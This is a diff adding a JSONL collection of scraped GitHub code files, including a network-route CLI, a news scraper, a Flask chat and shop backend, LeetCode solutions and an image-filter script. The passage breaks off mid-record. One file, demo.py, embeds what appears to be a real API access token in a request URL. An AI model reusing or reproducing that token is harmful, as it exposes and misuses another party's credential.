diff --git "a/4730.jsonl" "b/4730.jsonl" new file mode 100644--- /dev/null +++ "b/4730.jsonl" @@ -0,0 +1,2030 @@ +{"seq_id":"69889863813","text":"from __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom __future__ import division\n\nimport click\nimport ipaddr\nimport sys\nimport zmq\n\nfrom openr.clients import fib_client\nfrom openr.clients import decision_client\nfrom openr.cli.utils import utils\nfrom openr.utils import printing\nfrom openr.IpPrefix import ttypes as ip_types\nfrom openr.LinuxPlatform import LinuxFibService\n\n\ndef build_routes(prefixes, nexthops):\n '''\n :param prefixes: List of prefixes in string representation\n :param nexthops: List of nexthops ip addresses in string presentation\n\n :returns: list ip_types.UnicastRoute (structured routes)\n :rtype: list\n '''\n\n prefixes = [utils.ip_str_to_prefix(p) for p in prefixes]\n nhs = []\n for nh_iface in nexthops:\n iface, addr = None, None\n # Nexthop may or may not be link-local. Handle it here well\n if '@' in nh_iface:\n addr, iface = nh_iface.split('@')\n elif '%' in nh_iface:\n addr, iface = nh_iface.split('%')\n else:\n addr = nh_iface\n nexthop = utils.ip_str_to_addr(addr)\n nexthop.ifName = iface\n nhs.append(nexthop)\n return [ip_types.UnicastRoute(dest=p, nexthops=nhs) for p in prefixes]\n\n\ndef get_route_as_dict(routes):\n '''\n Convert a routeDb into a dict representing routes in str format\n\n :param routes: list ip_types.UnicastRoute (structured routes)\n\n :returns: dict of routes (prefix : [nexthops]\n :rtype: dict\n '''\n\n # Thrift object instances do not have hash support\n # Make custom stringified object so we can hash and diff\n # dict of prefixes(str) : nexthops(str)\n routes_dict = {utils.sprint_prefix(route.dest):\n sorted([ip_nexthop_to_str(nh) for nh in route.nexthops])\n for route in routes}\n\n return routes_dict\n\n\ndef routes_difference(lhs, rhs):\n '''\n Get routeDb delta between provided inputs\n\n :param lhs: list ip_types.UnicastRoute (structured routes)\n :param rhs: list ip_types.UnicastRoute (structured routes)\n\n :returns: list ip_types.UnicastRoute (structured routes)\n :rtype: list\n '''\n\n diff = []\n\n # dict of prefixes(str) : nexthops(str)\n _lhs = get_route_as_dict(lhs)\n _rhs = get_route_as_dict(rhs)\n\n diff_prefixes = set(_lhs) - set(_rhs)\n\n for prefix in diff_prefixes:\n diff.extend(build_routes([prefix], _lhs[prefix]))\n\n return diff\n\n\ndef prefixes_with_different_nexthops(lhs, rhs):\n '''\n Get prefixes common to both routeDbs with different nexthops\n\n :param lhs: list ip_types.UnicastRoute (structured routes)\n :param rhs: list ip_types.UnicastRoute (structured routes)\n\n :returns: list str of IpPrefix common to lhs and rhs but\n have different nexthops\n :rtype: list\n '''\n\n prefixes = []\n\n # dict of prefixes(str) : nexthops(str)\n _lhs = get_route_as_dict(lhs)\n _rhs = get_route_as_dict(rhs)\n common_prefixes = set(_lhs) & set(_rhs)\n\n for prefix in common_prefixes:\n if _lhs[prefix] != _rhs[prefix]:\n prefixes.append(prefix)\n\n return prefixes\n\n\ndef validate(routes_a, routes_b, sources, enable_color):\n\n extra_routes_in_a = routes_difference(routes_a, routes_b)\n extra_routes_in_b = routes_difference(routes_b, routes_a)\n diff_prefixes = prefixes_with_different_nexthops(routes_a, routes_b)\n\n # if all good, then return early\n if not extra_routes_in_a and not extra_routes_in_b and not diff_prefixes:\n if enable_color:\n click.echo(click.style('PASS', bg='green', fg='black'))\n else:\n click.echo('PASS')\n print('{} and {} routing table match'.format(*sources))\n return\n\n # Something failed.. report it\n if enable_color:\n click.echo(click.style('FAIL', bg='red', fg='black'))\n else:\n click.echo('FAIL')\n print('{} and {} routing table do not match'.format(*sources))\n if extra_routes_in_a:\n caption = 'Routes in {} but not in {}'.format(*sources)\n print_routes(caption, extra_routes_in_a)\n\n if extra_routes_in_b:\n caption = 'Routes in {} but not in {}'.format(*reversed(sources))\n print_routes(caption, extra_routes_in_b)\n\n if diff_prefixes:\n caption = 'Prefixes have different nexthops in {} and {}'.format(*sources)\n rows = []\n for prefix in diff_prefixes:\n rows.append([prefix])\n print(printing.render_vertical_table(rows, caption=caption))\n\n\ndef ip_nexthop_to_str(nh):\n '''\n Convert ttypes.BinaryAddress to string representation of a nexthop\n '''\n\n return \"{}{}{}\".format(utils.sprint_addr(nh.addr),\n '@' if nh.ifName else '',\n nh.ifName)\n\n\ndef print_routes(caption, routes, prefixes=None):\n\n networks = None\n if prefixes:\n networks = [ipaddr.IPNetwork(p) for p in prefixes]\n\n route_strs = []\n for route in routes:\n dest = utils.sprint_prefix(route.dest)\n if not utils.contain_any_prefix(dest, networks):\n continue\n\n paths_str = '\\n'.join([\"via {}\".format(ip_nexthop_to_str(nh))\n for nh in route.nexthops])\n route_strs.append((dest, paths_str))\n\n print(printing.render_vertical_table(route_strs, caption=caption))\n\n\nclass FibCmd(object):\n def __init__(self, cli_opts):\n ''' initialize the Fib client '''\n\n self.lm_cmd_port = cli_opts.lm_cmd_port\n\n self.client = fib_client.FibClient(\n cli_opts.zmq_ctx,\n \"tcp://[{}]:{}\".format(cli_opts.host, cli_opts.fib_rep_port),\n cli_opts.timeout,\n cli_opts.proto_factory)\n\n\nclass FibAgentCmd(object):\n def __init__(self, cli_opts):\n ''' initialize the Fib agent client '''\n\n self.lm_cmd_port = cli_opts.lm_cmd_port\n self.decision_rep_port = cli_opts.decision_rep_port\n try:\n self.client = utils.get_fib_agent_client(\n cli_opts.host,\n cli_opts.fib_agent_port,\n cli_opts.timeout,\n cli_opts.client_id\n )\n except Exception as e:\n print('Failed to get communicate to Fib. {}'.format(e))\n print('Note: Specify correct host with -H/--host option and ' +\n 'make sure that Fib is running on the host or ports ' +\n 'are open on that box for network communication.')\n sys.exit(1)\n\n\nclass FibLinuxAgentCmd(object):\n def __init__(self, cli_opts):\n ''' initialize the Linux Fib agent client '''\n\n self.lm_cmd_port = cli_opts.lm_cmd_port\n\n try:\n self.client = utils.get_fib_agent_client(\n cli_opts.host,\n cli_opts.fib_agent_port,\n cli_opts.timeout,\n cli_opts.client_id,\n LinuxFibService\n )\n except Exception as e:\n print('Failed to get communicate to Fib. {}'.format(e))\n print('Note: Specify correct host with -H/--host option and ' +\n 'make sure that Fib is running on the host or ports ' +\n 'are open on that box for network communication.')\n sys.exit(1)\n\n\nclass FibRoutesCmd(FibCmd):\n def run(self, prefixes, json):\n route_db = self.client.get_route_db()\n if json:\n route_db_dict = {route_db.thisNodeName: utils.route_db_to_dict(route_db)}\n utils.print_routes_json(route_db_dict, prefixes)\n else:\n utils.print_routes_table(route_db, prefixes)\n\n\nclass FibCountersCmd(FibAgentCmd):\n def run(self):\n try:\n self.print_counters(self.client.getCounters())\n except Exception as e:\n print('Failed to get counter from Fib')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n def print_counters(self, counters):\n ''' print the Fib counters '''\n\n host_id = utils.get_connected_node_name(self.client.host, self.lm_cmd_port)\n caption = '{}\\'s Fib counters'.format(host_id)\n\n rows = []\n for key in counters:\n rows.append(['{} : {}'.format(key, counters[key])])\n print(printing.render_horizontal_table(rows, caption=caption, tablefmt='plain'))\n print()\n\n\nclass FibListRoutesCmd(FibAgentCmd):\n def run(self, prefixes):\n try:\n routes = self.client.getRouteTableByClient(self.client.client_id)\n except Exception as e:\n print('Failed to get routes from Fib.')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n host_id = utils.get_connected_node_name(self.client.host, self.lm_cmd_port)\n caption = '{}\\'s FIB routes by client {}'.format(host_id,\n self.client.client_id)\n print_routes(caption, routes, prefixes)\n\n\nclass FibAddRoutesCmd(FibAgentCmd):\n def run(self, prefixes, nexthops):\n routes = build_routes(prefixes.split(','), nexthops.split(','))\n\n try:\n self.client.addUnicastRoutes(self.client.client_id, routes)\n except Exception as e:\n print('Failed to add routes.')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n print('Added {} routes.'.format(len(routes)))\n\n\nclass FibDelRoutesCmd(FibAgentCmd):\n def run(self, prefixes):\n prefixes = [utils.ip_str_to_prefix(p) for p in prefixes.split(',')]\n try:\n self.client.deleteUnicastRoutes(self.client.client_id, prefixes)\n except Exception as e:\n print('Failed to delete routes.')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n print('Deleted {} routes.'.format(len(prefixes)))\n\n\nclass FibSyncRoutesCmd(FibAgentCmd):\n def run(self, prefixes, nexthops):\n routes = build_routes(prefixes.split(','), nexthops.split(','))\n\n try:\n self.client.syncFib(self.client.client_id, routes)\n except Exception as e:\n print('Failed to sync routes.')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n print('Reprogrammed FIB with {} routes.'.format(len(routes)))\n\n\nclass FibValidateRoutesCmd(FibAgentCmd):\n def run(self, cli_opts):\n try:\n route_db = self.get_decision_route_db()\n fib_routes = self.client.getRouteTableByClient(self.client.client_id)\n except Exception as e:\n print('Failed to validate Fib routes.')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n validate(self.get_routes(route_db), fib_routes, ['Decision', 'Fib'],\n cli_opts.enable_color)\n\n def get_decision_route_db(self):\n self.decision_client = decision_client.DecisionClient(\n zmq.Context(),\n \"tcp://[{}]:{}\".format(self.client.host, self.decision_rep_port))\n return self.decision_client.get_route_db()\n\n def get_routes(self, route_db):\n '''\n Find all shortest routes for each prefix in routeDb\n '''\n\n shortest_routes = []\n for route in sorted(route_db.routes):\n if not route.paths:\n continue\n\n min_metric = min(route.paths, key=lambda x: x.metric).metric\n nexthops = []\n for path in route.paths:\n if path.metric == min_metric:\n nexthops.append(path.nextHop)\n nexthops[-1].ifName = path.ifName\n\n shortest_routes.append(ip_types.UnicastRoute(dest=route.prefix,\n nexthops=nexthops))\n\n return shortest_routes\n\n\nclass FibListRoutesLinuxCmd(FibLinuxAgentCmd):\n def run(self, prefixes):\n try:\n routes = self.client.getKernelRouteTable()\n except Exception as e:\n print('Failed to get routes from Fib.')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n host_id = utils.get_connected_node_name(self.client.host, self.lm_cmd_port)\n caption = '{}\\'s kernel routes'.format(host_id)\n print_routes(caption, routes, prefixes)\n\n\nclass FibValidateRoutesLinuxCmd():\n def run(self, cli_opts):\n try:\n kernel_routes = FibLinuxAgentCmd(cli_opts).client.getKernelRouteTable()\n fib_routes = FibAgentCmd(cli_opts).client.getRouteTableByClient(\n cli_opts.client_id)\n except Exception as e:\n print('Failed to validate Fib routes.')\n print('Exception: {}'.format(e))\n sys.exit(1)\n\n validate(kernel_routes, fib_routes, ['Kernel', 'Fib'], cli_opts.enable_color)\n","repo_name":"tejashri29/openrfork1","sub_path":"openr/py/openr/cli/commands/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":12831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"29990216548","text":"import argparse\nfrom typing import Optional, Dict, Type\n\nfrom cpk.cli import AbstractCLICommand\nfrom cpk.cli.commands.endpoint.info import CLIEndpointInfoCommand\nfrom cpk.types import Machine, Arguments\n\n_supported_subcommands: Dict[str, Type[AbstractCLICommand]] = {\n \"info\": CLIEndpointInfoCommand,\n}\n\n\nclass CLIEndpointCommand(AbstractCLICommand):\n\n KEY = 'endpoint'\n\n @staticmethod\n def parser(parent: Optional[argparse.ArgumentParser] = None,\n args: Optional[Arguments] = None) -> argparse.ArgumentParser:\n # create a temporary parser used to select the subcommand\n parser = argparse.ArgumentParser(parents=[parent], prog='cpk endpoint')\n parser.add_argument(\n 'subcommand',\n choices=_supported_subcommands.keys(),\n help=f\"Subcommand. Can be any of {', '.join(_supported_subcommands.keys())}\"\n )\n parsed, _ = parser.parse_known_args(args)\n # return subcommand's parser\n subcommand = _supported_subcommands[parsed.subcommand]\n return subcommand.parser(parser, args)\n\n @staticmethod\n def execute(machine: Machine, parsed: argparse.Namespace) -> bool:\n subcommand = _supported_subcommands[parsed.subcommand]\n return subcommand.execute(machine, parsed)\n","repo_name":"afdaniele/cpk","sub_path":"include/cpk/cli/commands/endpoint/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"44"} +{"seq_id":"5920960036","text":"n = int(input())\nns = list(map(int, input().split()))\nns.sort()\nsni = 0 # same number index\nfor i in range(len(ns)-1):\n if ns[i] != ns[sni]: sni = i\n if ns[i] + 1 == ns[i+1]:\n si = 0 # swap index\n for j in range(i+1, len(ns)):\n if ns[j] != ns[i+1]:\n si = j\n break\n if not si: \n si = sni\n sni +=1\n ns[i+1], ns[si] = ns[si], ns[i+1]\nprint(*ns)","repo_name":"kkilme/Baekjun","sub_path":"python/Platinum/P5 1071.py","file_name":"P5 1071.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"30416011357","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nМодуль содержит в себе middleware методы\n\"\"\"\n\n# built-in\nfrom datetime import datetime\n\nimport asyncio\nimport pymongo\nfrom bs4 import BeautifulSoup\nfrom aiohttp import ClientSession\nfrom motor.motor_asyncio import AsyncIOMotorClient\n\n# service\nimport const\nimport scheduler\n\n\n\nasync def update_news():\n \"\"\"\n Данный метод вставляет в\n базу новости которых там еще нет\n \"\"\"\n\n posts = await news()\n\n # Получаем id крайнего элемента в коллекции,\n # для его корректной итерации для новых записей\n current_db = AsyncIOMotorClient(const.MONGO_URL).appfollow\n lost_document = await current_db.news.find_one({}, sort=[('_id', pymongo.DESCENDING)])\n lost_id = 1\n if lost_document:\n lost_id = lost_document.get(\"id\", 1)\n\n # Вставлять записи будем по одной,\n # т.к. на коллекции стоит ограничивающий индекс\n for pos, item in enumerate(posts):\n item[\"id\"] = pos + lost_id\n try:\n await current_db.news.insert_one(item)\n except pymongo.errors.DuplicateKeyError:\n continue\n\n\nasync def news():\n \"\"\"\n Метод получает указанную страницу новостей,\n вытягивает из нее новости со ссылками\n и отправляет на запись в БД полученные новости\n \"\"\"\n async with ClientSession(headers={'User-Agent': const.USER_AGENT}) as session:\n async with session.get(const.MAIN_URL) as response:\n content = await response.content.read()\n\n soup = BeautifulSoup(content, \"lxml\")\n table = soup.find(\"table\")\n\n posts = []\n for row in table.findAll(\"a\", {\"class\": \"storylink\"}, href=True):\n posts.append({\n \"url\": row.get(\"href\"),\n \"title\": row.get_text(),\n \"created\": datetime.now().replace(microsecond=0).isoformat()\n })\n\n return posts\n\n\n@scheduler.run(const.BACKGROUND_TASK_INTERVAL)\nasync def autoupdate_news():\n await update_news()\n\n\nasync def start_background_tasks(app):\n \"\"\"\n Middleware task.\n Метод инициализирует все необходимые\n для сервиса соединения и задачи\n \"\"\"\n app[\"mongodb_instance\"] = AsyncIOMotorClient(const.MONGO_URL)\n app[\"db\"] = app[\"mongodb_instance\"].appfollow\n app[\"db\"].news.create_index(\n [(\"url\", pymongo.DESCENDING), (\"title\", pymongo.DESCENDING)],\n unique=True)\n app[\"periodic_task\"] = asyncio.create_task(autoupdate_news())\n\n\nasync def cleanup_background_tasks(app):\n \"\"\"\n Graceful shutdown\n \"\"\"\n print(\"cleanup background tasks...\")\n\n # gracefully closing underlying connection\n app[\"mongodb_instance\"].close()\n app[\"periodic_task\"].cancel()\n","repo_name":"alexeydevil/test_tast_appfollow","sub_path":"service/background_task.py","file_name":"background_task.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"9308665247","text":"class Solution:\n def findMaxAverage(self, nums: List[int], k: int) -> float:\n windowsm=sum(nums[:k])\n maxav=windowsm/k\n for i in range(len(nums)-k):\n windowsm=windowsm-nums[i]+nums[i+k]\n av=windowsm/k\n maxav=av if av>maxav else maxav\n return maxav\n ","repo_name":"YosefAyele/YosefAyele","sub_path":"643-maximum-average-subarray-i/643-maximum-average-subarray-i.py","file_name":"643-maximum-average-subarray-i.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4571715216","text":"correct = int(input())\nfriend = input()\nyours = input()\n\nsame = 0\ndifferent =0\n\nfor i in range(len(friend)):\n if friend[i] == yours[i]:\n same+=+1\n else:\n different+=1\n\nif same >= correct:\n print(correct + different)\n\nelif same < correct:\n print(same+(len(friend)-correct))\n\n\n\n\n\n","repo_name":"isabellaattisano/programming-team","sub_path":"Python/exam.py","file_name":"exam.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"29742389626","text":"# -*- coding:utf-8 -*-\n\"\"\"\nCreated on 18/6/28 下午3:17.\n\nAuthor: Ruizhang1993 (zhang1rui4@foxmail.com)\n\"\"\"\n\nimport requests\n\ntype = 3 # 1:{正面/负面} 3:{其他/愤怒/快乐/失落/焦虑/难过/害怕}\ntext = \"物流也很快服务也很好\"\n\nurl_ = 'http://ai-api.jd.com/nlp/sentiment?token=35f48390-b7f7-4e2f-b823-87e99b74a86f&type='+str(type)+'&text='+text\nr = requests.get(url_)\nprint(r.text)\n","repo_name":"Dr-Corgi/Neuhub-Test","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"13484088629","text":"from flask import Flask, render_template, request, redirect, url_for, json, jsonify, make_response, send_file, send_from_directory\nfrom customer import customer\nfrom seller import seller\nfrom admin import admin\nfrom flask_socketio import SocketIO, emit, send, join_room, leave_room\nfrom bson import json_util\nimport pymongo\nimport json\nimport myModule\nimport os\napp = Flask(__name__)\napp.config['SECRET_KEY'] = os.urandom(24)\napp.register_blueprint(customer)\napp.register_blueprint(seller)\napp.register_blueprint(admin)\napp.debug = True\nsocketio = SocketIO(app)\nuser_chat = {}\nuser_list = []\n\n\n@app.route('/')\ndef welcome():\n token = request.cookies.get('token')\n if myModule.deJWT(token):\n user = myModule.getUserFromJWT(token)\n if user['privilege'] == 0:\n resp = make_response(redirect(url_for('welAdmin')))\n elif user['privilege'] == 1:\n resp = make_response(redirect(url_for('welCustomer')))\n elif user['privilege'] == 2:\n resp = make_response(redirect(url_for('welSeller')))\n else:\n return 'Bad Request', 400\n return resp\n return send_file(\"./html/index.html\")\n\n\n@app.route('/login')\ndef log():\n return send_file(\"./html/logIn.html\")\n\n\n@app.route('/signin')\ndef sign():\n return send_file(\"./html/signIn.html\")\n\n\n@app.route('/api/admin')\ndef welAdmin():\n token = request.cookies.get('token')\n if not myModule.deJWT(token):\n return redirect(\"/\")\n user = myModule.getUserFromJWT(token)\n if user['privilege'] != 0:\n return '请重新登录', 400\n return send_file('./html/admin.html')\n\n\n@app.route('/api/seller')\ndef welSeller():\n token = request.cookies.get('token')\n if not myModule.deJWT(token):\n return redirect(\"/\")\n user = myModule.getUserFromJWT(token)\n if user['privilege'] != 2:\n return '请重新登录', 400\n return send_file('./html/seller.html')\n\n\n@app.route('/api/customer')\ndef welCustomer():\n token = request.cookies.get('token')\n if not myModule.deJWT(token):\n return redirect(\"/\")\n user = myModule.getUserFromJWT(token)\n if user['privilege'] != 1:\n return '请重新登录', 400\n return send_file('./html/Mall.html')\n\n\n@app.route('/api/signToDb', methods=['GET', 'POST'])\ndef signToDb():\n if request.method == 'POST':\n msg = json.loads(request.get_data().decode('utf-8'))\n if msg['privilege'] == 0:\n return 'Bad Request', 400\n flag = myModule.anaSign(msg)\n if flag == 0:\n token = request.cookies.get('token')\n if type(token) == str:\n user = myModule.getUserFromJWT(token)\n if user['privilege'] == 0:\n myModule.addUser(msg)\n return 'OK', 200\n myModule.addUser(msg)\n JWT = myModule.encodeJWT(msg)\n if msg['privilege'] == 1:\n resp = make_response(redirect(url_for('welCustomer')))\n elif msg['privilege'] == 2:\n resp = make_response(redirect(url_for('welSeller')))\n resp.set_cookie(\"token\", JWT, httponly=True, max_age=86400)\n return resp\n elif flag == 1:\n return '用户名已存在', 400\n elif flag == 2:\n return '邮箱已被注册', 400\n else:\n return 'Bad Request', 400\n\n\n@app.route('/api/logToMall', methods=['GET', 'POST'])\ndef logToMall():\n if request.method == 'POST':\n msg = json.loads(request.get_data().decode('utf-8'))\n ana = myModule.anaLog(msg)\n if ana['flag']:\n if ana['privilege'] == 0:\n resp = make_response(redirect(url_for('welAdmin')))\n elif ana['privilege'] == 1:\n resp = make_response(redirect(url_for('welCustomer')))\n elif ana['privilege'] == 2:\n resp = make_response(redirect(url_for('welSeller')))\n else:\n return 'Bad Request', 400\n JWT = myModule.encodeJWT(ana)\n resp.set_cookie(\"token\", JWT, httponly=True, max_age=86400)\n return resp\n else:\n return '账号或密码错误', 400\n\n\n@app.route('/api/logout')\ndef logout():\n resp = make_response(redirect('/'))\n resp.delete_cookie('token')\n return resp\n\n\n@app.errorhandler(404)\ndef page_not_found(error):\n return '404'\n\n\n@app.route('/api/online')\ndef test_chat():\n token = request.cookies.get('token')\n if not myModule.deJWT(token):\n return '请重新登录', 400\n return str(user_list)\n\n\n@app.route('/api/record', methods=['GET', 'POST'])\ndef findRecord():\n if request.method == 'POST':\n token = request.cookies.get('token')\n if not myModule.deJWT(token):\n return '请重新登录', 400\n user = myModule.getUserFromJWT(token)\n target = request.get_data().decode('utf-8')\n record = myModule.findRecord(user['user'], target)\n return jsonify({'msg': json.loads(record)}), 200\n return 'Bad Request', 400\n\n\n@socketio.on('connect', namespace='/api/chat')\ndef test_connect():\n token = request.cookies.get('token')\n if not myModule.deJWT(token):\n emit('error', '请重新登录')\n else:\n user = myModule.getUserFromJWT(token)\n user_chat[user['user']] = request.sid\n user_list.append(user['user'])\n records = myModule.getRecord(user)\n emit('my response', records)\n\n\n@socketio.on('disconnect', namespace='/api/chat')\ndef test_disconnect():\n token = request.cookies.get('token')\n user = myModule.getUserFromJWT(token)\n user_chat.pop(user['user'])\n user_list.remove(user['user'])\n\n\n@socketio.on('msg', namespace='/api/chat')\ndef sent_msg(data):\n token = request.cookies.get('token')\n if not myModule.deJWT(token):\n emit('error', '请重新登录', room=request.sid)\n return 0\n else:\n get = 0\n user = myModule.getUserFromJWT(token)\n data['from'] = user['user']\n target = user_chat.get(data['to'])\n if target != None:\n get = 1\n myModule.insertRecord(data, get)\n data.pop('_id')\n emit('recvMsg', json.dumps(\n data, default=json_util.default), room=target)\n else:\n myModule.insertRecord(data, get)\n data.pop('_id')\n return json.dumps(data, default=json_util.default)\n\n\n# ,host='0.0.0.0'\nif __name__ == '__main__':\n socketio.run(app, port=8888)\n","repo_name":"wangnengjie/assignment","sub_path":"shoppingMall/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":6475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"37403595702","text":"import numpy as np\r\nimport cv2\r\n\r\nimg = cv2.imread('C://cv_learn/desk.jpg',1)\r\n\r\nimg = cv2.resize(img, (600,400),cv2.INTER_CUBIC)\r\n\r\n#convert image to grey scale\r\nimg = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n\r\n#sobel operator\r\n#define kernels\r\nkernel_x = np.array([[-1,0,1],[-2,0,2],[-1,0,1]])\r\nkernel_y = np.array([[1,2,1],[0,0,0],[-1,-2,-1]])\r\n#convolution func\r\ndef conv(img, kernel_x,kernel_y):\r\n row,col = img.shape[:2]\r\n result_x = np.empty(((1,0)))\r\n result_y = np.empty(((1,0)))\r\n for r in range(0,row-2):\r\n for c in range(0,col-2):\r\n window = img[r:r+3,c:c+3]\r\n temp_x = np.multiply(kernel_x,window)\r\n temp_y = np.multiply(kernel_y,window)\r\n temp_x = np.array([[temp_x.sum()]])\r\n temp_y = np.array([[temp_y.sum()]])\r\n result_x = np.append(result_x,temp_x,1)\r\n result_y = np.append(result_y,temp_y,1)\r\n print(r)\r\n return (result_x,result_y)\r\n\r\n#padding added\r\nimg = cv2.copyMakeBorder(img,1,1,1,1,cv2.BORDER_CONSTANT,value=255)\r\n#convolution\r\n# conv_x = conv(img, kernel_x)\r\n# img_conv_x = conv_x.reshape(400,600)\r\n# conv_y = conv(img, kernel_y)\r\n# img_conv_y = conv_y.reshape(400,600)\r\n\r\nconv_x,conv_y = conv(img,kernel_x,kernel_y)\r\nimg_conv_x = np.abs(conv_x.reshape(400,600))\r\nimg_conv_y = np.abs(conv_y.reshape(400,600))\r\n\r\nIMG = (np.abs(conv_x) + np.abs(conv_y)).reshape((400,600))\r\n\r\n\r\ncv2.imshow('image1',img_conv_x)\r\n#show \r\ncv2.imshow('image2',img_conv_y)\r\ncv2.imshow('image3',IMG)\r\ncv2.imshow('image', img)\r\n\r\nk = cv2.waitKey(0)\r\nif k == 27:\r\n cv2.destroyAllWindows()\r\nelif k == ord('s'):\r\n cv2.imwrite('C://cv_learn/sobel_x.png',img_conv_x)\r\n cv2.imwrite('C://cv_learn/sobel_y.png',img_conv_y)\r\n cv2.imwrite('C://cv_learn/sobel.png',IMG)\r\n cv2.destroyAllWindows()\r\n\r\n","repo_name":"tzmhuang/cv_learn","sub_path":"2/cv_2.py","file_name":"cv_2.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"23259204486","text":"# def deletList(self):\n# currentNode = self.head\n# print(currentNode.next)\n# while currentNode.next is not None:\n# pre = currentNode\n# currentNode = currentNode.next\n# pre.next = None\n# del currentNode\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n\n def insert(self, newNode):\n if self.head is None:\n self.head = newNode\n\n else:\n lastNode = self.head\n while True:\n if lastNode.next is None:\n lastNode.next = newNode\n break\n lastNode = lastNode.next\n\n def listLength(self):\n currentNode = self.head\n length = 0\n while True:\n length += 1\n if currentNode.next is None:\n return length\n currentNode = currentNode.next\n\n def insertAt(self, newNode, posion):\n if posion < 0 or self.listLength() < posion:\n print(\"Operation will work\")\n return\n if posion == 0:\n temp = self.head\n self.head = newNode\n newNode.next = temp\n del temp\n return\n currentNode = self.head\n currentPos = 0\n while True:\n if currentPos == posion:\n pre.next = newNode\n newNode.next = currentNode\n return\n pre = currentNode\n currentNode = currentNode.next\n currentPos = currentPos + 1\n\n def deletList(self):\n currentNode = self.head\n print(currentNode.next)\n while currentNode.next is not None:\n pre = currentNode\n currentNode = currentNode.next\n pre.next = None\n del currentNode\n\n def deletAt(self, posison):\n firstNode = self.head\n currentPos = 0\n while True:\n if currentPos is posison:\n pre.next = firstNode.next\n firstNode.next = None\n break\n pre = firstNode\n firstNode = firstNode.next\n currentPos += 1\n\n def printList(self):\n currentNode = self.head\n while True:\n print(currentNode.data)\n print(currentNode.next)\n if currentNode.next is None:\n break\n currentNode = currentNode.next\n\n\nfirstNo = Node(1)\nlinkedlist = LinkedList()\nlinkedlist.insert(firstNo)\nsecNo = Node(11)\nlinkedlist.insert(secNo)\nfirstN1o = Node(12)\nfirstNo1 = Node(13)\ntheNo = Node(23)\nlinkedlist.insertAt(theNo, 10)\n\nlinkedlist.insert(firstN1o)\nlinkedlist.insert(firstNo1)\nlinkedlist.deletList()\nlinkedlist.deletAt(1)\nlinkedlist.printList()\nx = linkedlist.listLength()\nprint(x)\n","repo_name":"Nitesh639/LeetCode","sub_path":"LinkedList/singlyLinkedList/delet_linked.py","file_name":"delet_linked.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"74543650373","text":"from django.urls import path, include\nfrom . import views\nfrom rest_framework import renderers\nfrom rest_framework.routers import DefaultRouter\n\nfrom .views import CreateUserAPIView, LogoutUserAPIView\n\n# Create a router and register our viewsets with it.\nrouter = DefaultRouter()\n\nrouter.register(r'kitties', views.KittyViewSet)\nrouter.register(r'profiles', views.ProfileViewSet)\nrouter.register(r'users', views.UserViewSet)\nrouter.register(r'contacts', views.ContactViewSet)\nrouter.register(r'transactions', views.TransactionViewSet)\nrouter.register(r'user-events', views.UserEventViewSet)\nrouter.register(r'users-active', views.ActiveUsersViewSet)\n\n# The API URLs are now determined automatically by the router.\nurlpatterns = [\n path('', include(router.urls)),\n path('login/', views.LoginAPI.as_view()),\n path('register/', CreateUserAPIView.as_view()),\n path('logout/', LogoutUserAPIView.as_view()),\n]\n","repo_name":"jells123/XX-Payments","sub_path":"backend/kitty/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"13418477012","text":"'''\nGiven a 32-bit signed integer, reverse digits of an integer.\n\nExample 1:\n\nInput: 123\nOutput: 321\nExample 2:\n\nInput: -123\nOutput: -321\nExample 3:\n\nInput: 120\nOutput: 21\nNote:\nAssume we are dealing with an environment which could only store integers \nwithin the 32-bit signed integer range: [−231, 231 − 1]. For the purpose \nof this problem, assume that your function returns 0 when the reversed \ninteger overflows.\n'''\n\nclass Solution:\n def reverse(self, x):\n #Second Attempt - Faster\n if x < 0:\n y = -1 * int(str(-x)[::-1])\n else:\n y = int(str(x)[::-1])\n if y > 2**31 -1 or y < -2**31:\n y = 0\n return y\n\n ''' \n First try - Correct\n if x < 0:\n negative = True\n else:\n negative = False\n str_num = str(x)\n output = ''\n if negative:\n for i in range(len(str_num)-1, 0, -1):\n output += str_num[i] \n else:\n for i in range(len(str_num)-1, -1, -1):\n output += str_num[i] \n\n output = int(output)\n if negative: output = -output\n if output > 2**31 - 1 or output < -2**31:\n return 0\n else:\n return output\n '''\n\nsol = Solution()\n\ninput_num = -123\nprint(f'Input: 